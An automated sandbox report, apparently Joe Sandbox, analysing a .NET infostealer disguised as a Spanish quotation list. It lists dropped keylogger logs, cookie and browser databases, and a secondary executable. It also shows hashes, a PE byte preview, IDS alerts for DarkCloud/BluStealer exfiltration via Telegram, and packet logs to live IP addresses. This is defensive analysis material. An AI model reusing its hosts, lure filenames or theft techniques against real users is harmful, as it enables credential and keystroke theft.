C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDatawgUGZnxn.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	396
Entropy (8bit):	4.3133231042073525
Encrypted:	false
SSDEEP:	3:tOhE4kZE4kAE4kAE4kAE4kAE4kAE4kAE4kAE4kLfE4kLfE4kLfE4F:tOhwZwAwAwAwAwAwAwAwbwbwbx
MD5:	8A9D3937A5BAA0E43536C98C63C38634
SHA1:	A7F667809B26F7D3B79C559CA969FFC843382DDE
SHA-256:	0BAEF3E710FF88826C2A0CBC778664050B7BF8236EBBB6F9D2BCD726995CDA18
SHA-512:	ED12980779350F74667353AC35C50BDB40E5E88A238D2619C23538127FACBD5500FC004FA773FACCFE7D4216CA949CD17C5E286F63610E103B37FF3C606C0C8F
Malicious:	false
Preview:	..[03:11:34]<<Program Manager>>....[03:11:34]<<Program Manager>>....[03:11:35]<<Program Manager>>....[03:11:35]<<Program Manager>>....[03:11:35]<<Program Manager>>....[03:11:35]<<Program Manager>>....[03:11:35]<<Program Manager>>....[03:11:35]<<Program Manager>>....[03:11:35]<<Program Manager>>....[03:11:36]<<Program Manager>>....[03:11:36]<<Program Manager>>....[03:11:36]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataxvXFJtHj.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	363
Entropy (8bit):	4.357593390034075
Encrypted:	false
SSDEEP:	3:tOOfE4kmfE4kmfE4kmfE4kmfE4kmfE4kmfE4kmfE4kvdpE4kvdpE4kvdpE4F:tOOfwmfwmfwmfwmfwmfwmfwmfwHwHwHx
MD5:	0C8AE6E14D23F8DC90B415A6D9BAE680
SHA1:	161F9B6E56F3302ECD30C7B14EF707C02D3E7992
SHA-256:	34978F222CB2AC8FC873E2E1676A4B4DCBA6E8E00F0CCDC6D4FB140EB4C53F2E
SHA-512:	27F9948BA4BF299BF72CC20EFB8830EBF1D1F62B790B838F2A5E310C6CA7958EE8723A083568840D23B38B0343EC96E7287D0B7D898326A93A14935AE60857D9
Malicious:	false
Preview:	..[03:11:57]<<Program Manager>>....[03:11:57]<<Program Manager>>....[03:11:57]<<Program Manager>>....[03:11:57]<<Program Manager>>....[03:11:57]<<Program Manager>>....[03:11:57]<<Program Manager>>....[03:11:57]<<Program Manager>>....[03:11:57]<<Program Manager>>....[03:11:58]<<Program Manager>>....[03:11:58]<<Program Manager>>....[03:11:58]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\LogflusterQAhgTgYojEHEGBtvWSLSWmLvjWMaxKOwfleerer

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\WebData

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1211596417522893
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8wH0hL3kWieF:r2qOB1nxCkvSAELyKOMq+8wH0hLUZs
MD5:	0AB67F0950F46216D5590A6A41A267C7
SHA1:	3E0DD57E2D4141A54B1C42DD8803C2C4FD26CB69
SHA-256:	4AE2FD6D1BEDB54610134C1E58D875AF3589EDA511F439CDCCF230096C1BEB00
SHA-512:	D19D99A54E7C7C85782D166A3010ABB620B32C7CD6C43B783B2F236492621FDD29B93A52C23B1F4EFC9BF998E1EF1DFEE953E78B28DF1B06C24BADAD750E6DF7
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\cookies.db

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\cookies.db-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	42064
Entropy (8bit):	6.19564898727408
Encrypted:	false
SSDEEP:	384:qtpFVLK0MsihB9VKS7xdgl6KJ9Yl6dnPU3SERztmbqCJstdMardz/JikPZ+RPZTg:GBMs2SqdSZ6Iq8BxTfqWR8h7ukP
MD5:	5D4073B2EB6D217C19F2B22F21BF8D57
SHA1:	F0209900FBF08D004B886A0B3BA33EA2B0BF9DA8
SHA-256:	AC1A3F21FCC88F9CEE7BF51581EAFBA24CC76C924F0821DEB2AFDF1080DDF3D3
SHA-512:	9AC94880684933BA3407CDC135ABC3047543436567AF14CD9269C4ADC5A6535DB7B867D6DE0D6238A21B94E69F9890DBB5739155871A624520623A7E56872159
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: ORDER REF_47806798 .exe, Detection: malicious, Browse Filename: chiara.exe, Detection: malicious, Browse Filename: Bank Details.exe, Detection: malicious, Browse Filename: Signed Document..exe, Detection: malicious, Browse Filename: PO CONTRACT.exe, Detection: malicious, Browse Filename: image.exe, Detection: malicious, Browse Filename: ABA NEW ORDER No.2400228341.pdf.exe, Detection: malicious, Browse Filename: 09099627362726.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.TrojanX-gen.10530.8108.exe, Detection: malicious, Browse Filename: 719#U665a) HBL# LMSIN2407028 (by SEA) PO# 4500577338, by 1x40' HQ.pdf.scr.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...,>.]..............0..T...........r... ........@.. ....................................`.................................4r..O....................b..PB...........p............................................... ............... ..H............text....R... ...T.................. ..`.rsrc................V..............@..@.reloc...............`..............@..B................hr......H........"..\|J..........lm.......o......................................2~.....o.....r...p(....VrK..p(....s...........0..........(....(....o....o....(....o.... .....T(....o....(....o....o ...o!....4(....o....(....o....o ...o".....(....rm..ps#...o....($........(%....o&....ry..p......%.r...p.%.(.....(....('....((.......o)...('........................."..(.....{Q...-...}Q.....(+...(....(,....(+..."..(-.....(......(.....r...p.(/...o0...s....}T...*....0.. .......~S...-.s

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2017
Entropy (8bit):	4.659840607039457
Encrypted:	false
SSDEEP:	48:zK4QsD4ql0+1AcJRy0EJP64gFljVlWo3ggxUnQK2qmBvgw1+5:zKgDEcTytNe3Wo3uQVBIe+5
MD5:	3BF802DEB390033F9A89736CBA5BFAFF
SHA1:	25A7177A92E0283B99C85538C4754A12AC8AD197
SHA-256:	5202EB464D6118AC60F72E89FBAAACF1FB8CF6A232F98F47F88D0E7B2F3AFDB3
SHA-512:	EB4F440D28ECD5834FD347F43D4828CA9FEE900FF003764DD1D18B95E0B84E414EAECF70D75236A1463366A189BC5CBA21613F79B5707BF7BDB3CEA312CCE4F7
Malicious:	false
Preview:	Microsoft (R) .NET Framework Installation utility Version 4.8.4084.0..Copyright (C) Microsoft Corporation. All rights reserved.....Usage: InstallUtil [/u \| /uninstall] [option [...]] assembly [[option [...]] assembly] [...]]....InstallUtil executes the installers in each given assembly...If the /u or /uninstall switch is specified, it uninstalls..the assemblies, otherwise it installs them. Unlike other..options, /u applies to all assemblies, regardless of where it..appears on the command line.....Installation is done in a transactioned way: If one of the..assemblies fails to install, the installations of all other..assemblies are rolled back. Uninstall is not transactioned.....Options take the form /switch=[value]. Any option that occurs..before the name of an assembly will apply to that assembly's..installation. Options are cumulative but overridable - options..specified for one assembly will apply to the next as well unless..the option is specified with a new value. The default for

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.571612380447687
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Lista de cotizaciones.exe
File size:	157'184 bytes
MD5:	a2d04709e9b6608f55007222d39fe8d4
SHA1:	59cdf12e87f54707cb37736d63e7b154e61c10c4
SHA256:	e3ac415d0fcac1c616425032257c65e27efbd46c15a8daf6afd6571912889935
SHA512:	4f32777f9ee4e452363e48af673bca45f6287431fa85f938fed64c135db1d50629f3d4f8c369837ab829f55d6287b4dd2d6144c72c01bb934d33cac927a8232a
SSDEEP:	1536:Hw8PTQZY8U/0gpmPzjiKxPRTZgf/GtmpQWeRv/krNJiV+KxPN/YGbThpcXGRo:qBymfimgnEmDeRv/kpJiVbP/NM
TLSH:	7FE3B303BA978DB1C296173BC5DF010447A5ED83A6E3D71A398EA3ED0B537B69D01A07
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...XJ6g.................\...........z... ........@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x427ace
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67364A58 [Thu Nov 14 19:07:04 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x27a80	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x28000	0x588	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2a000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x25ad4	0x25c00	fadd443784d4606e35b94367cdf0b022	False	0.40419339817880795	data	5.5975920739197065	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x28000	0x588	0x600	e5481792fa641b12a56cf4a24a1446fd	False	0.4153645833333333	data	4.04350715649859	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2a000	0xc	0x200	239e94e8c938a1929fdfa22624fab725	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x280a0	0x2fc	data			0.43848167539267013
RT_MANIFEST	0x2839c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-15T09:10:02.467706+0100	2017962	ET MALWARE PE EXE or DLL Windows file download disguised as ASCII	1	190.107.177.80	80	192.168.2.10	49705	TCP
2024-11-15T09:10:02.467706+0100	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	190.107.177.80	80	192.168.2.10	49705	TCP
2024-11-15T09:10:20.350546+0100	2017962	ET MALWARE PE EXE or DLL Windows file download disguised as ASCII	1	190.107.177.80	80	192.168.2.10	49795	TCP
2024-11-15T09:10:20.350546+0100	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	190.107.177.80	80	192.168.2.10	49795	TCP
2024-11-15T09:10:22.094876+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49806	162.55.60.2	80	TCP
2024-11-15T09:11:23.815714+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49978	149.154.167.220	443	TCP
2024-11-15T09:11:24.221316+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49978	149.154.167.220	443	TCP
2024-11-15T09:11:26.716977+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49979	149.154.167.220	443	TCP
2024-11-15T09:11:27.007570+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49979	149.154.167.220	443	TCP
2024-11-15T09:11:29.446001+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49980	149.154.167.220	443	TCP
2024-11-15T09:11:29.766130+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49980	149.154.167.220	443	TCP
2024-11-15T09:11:32.353653+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49981	149.154.167.220	443	TCP
2024-11-15T09:11:32.666394+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49981	149.154.167.220	443	TCP
2024-11-15T09:11:35.715434+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49982	149.154.167.220	443	TCP
2024-11-15T09:11:35.986066+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49982	149.154.167.220	443	TCP
2024-11-15T09:11:38.469973+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49983	149.154.167.220	443	TCP
2024-11-15T09:11:38.750731+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49983	149.154.167.220	443	TCP
2024-11-15T09:11:41.174870+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49984	149.154.167.220	443	TCP
2024-11-15T09:11:41.462156+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49984	149.154.167.220	443	TCP
2024-11-15T09:11:43.890563+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49985	149.154.167.220	443	TCP
2024-11-15T09:11:44.176533+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49985	149.154.167.220	443	TCP
2024-11-15T09:11:46.612485+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49986	149.154.167.220	443	TCP
2024-11-15T09:11:46.892974+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49986	149.154.167.220	443	TCP
2024-11-15T09:11:49.513183+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49987	149.154.167.220	443	TCP
2024-11-15T09:11:49.955197+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49987	149.154.167.220	443	TCP
2024-11-15T09:11:52.398202+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49988	149.154.167.220	443	TCP
2024-11-15T09:11:52.675609+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49988	149.154.167.220	443	TCP
2024-11-15T09:11:55.096734+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49989	149.154.167.220	443	TCP
2024-11-15T09:11:55.371632+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49989	149.154.167.220	443	TCP
2024-11-15T09:11:57.786369+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49990	149.154.167.220	443	TCP
2024-11-15T09:11:58.071763+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49990	149.154.167.220	443	TCP
2024-11-15T09:12:00.502121+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49991	149.154.167.220	443	TCP
2024-11-15T09:12:00.829776+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49991	149.154.167.220	443	TCP
2024-11-15T09:12:03.364662+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.10	49992	149.154.167.220	443	TCP
2024-11-15T09:12:03.965833+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.10	49992	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 09:10:01.216861963 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:01.221735001 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:01.221817017 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:01.223242998 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:01.228262901 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.096091986 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.096131086 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.096272945 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.096435070 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.096482992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.096518993 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.096565008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.096594095 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.096601963 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.096637964 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.096669912 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.096676111 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.096712112 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.096714973 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.096788883 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.101227999 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.101278067 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.101315975 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.101331949 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.101370096 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.101562023 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.221096992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.221141100 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.221184015 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.221220016 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.221232891 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.221332073 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.221607924 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.221679926 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.221738100 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.221774101 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.221810102 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.221839905 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.221839905 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.222346067 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.222374916 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.222389936 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.222407103 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.222429991 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.222469091 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.262804031 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.262861013 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.262944937 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.316973925 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.344966888 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.344983101 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.345103025 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.345706940 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.345724106 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.345740080 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.345841885 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.345849037 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.345865965 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.345881939 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:02.345913887 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.345926046 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:02.346210003 CET	80	49705	190.107.177.80	192.168.2.10
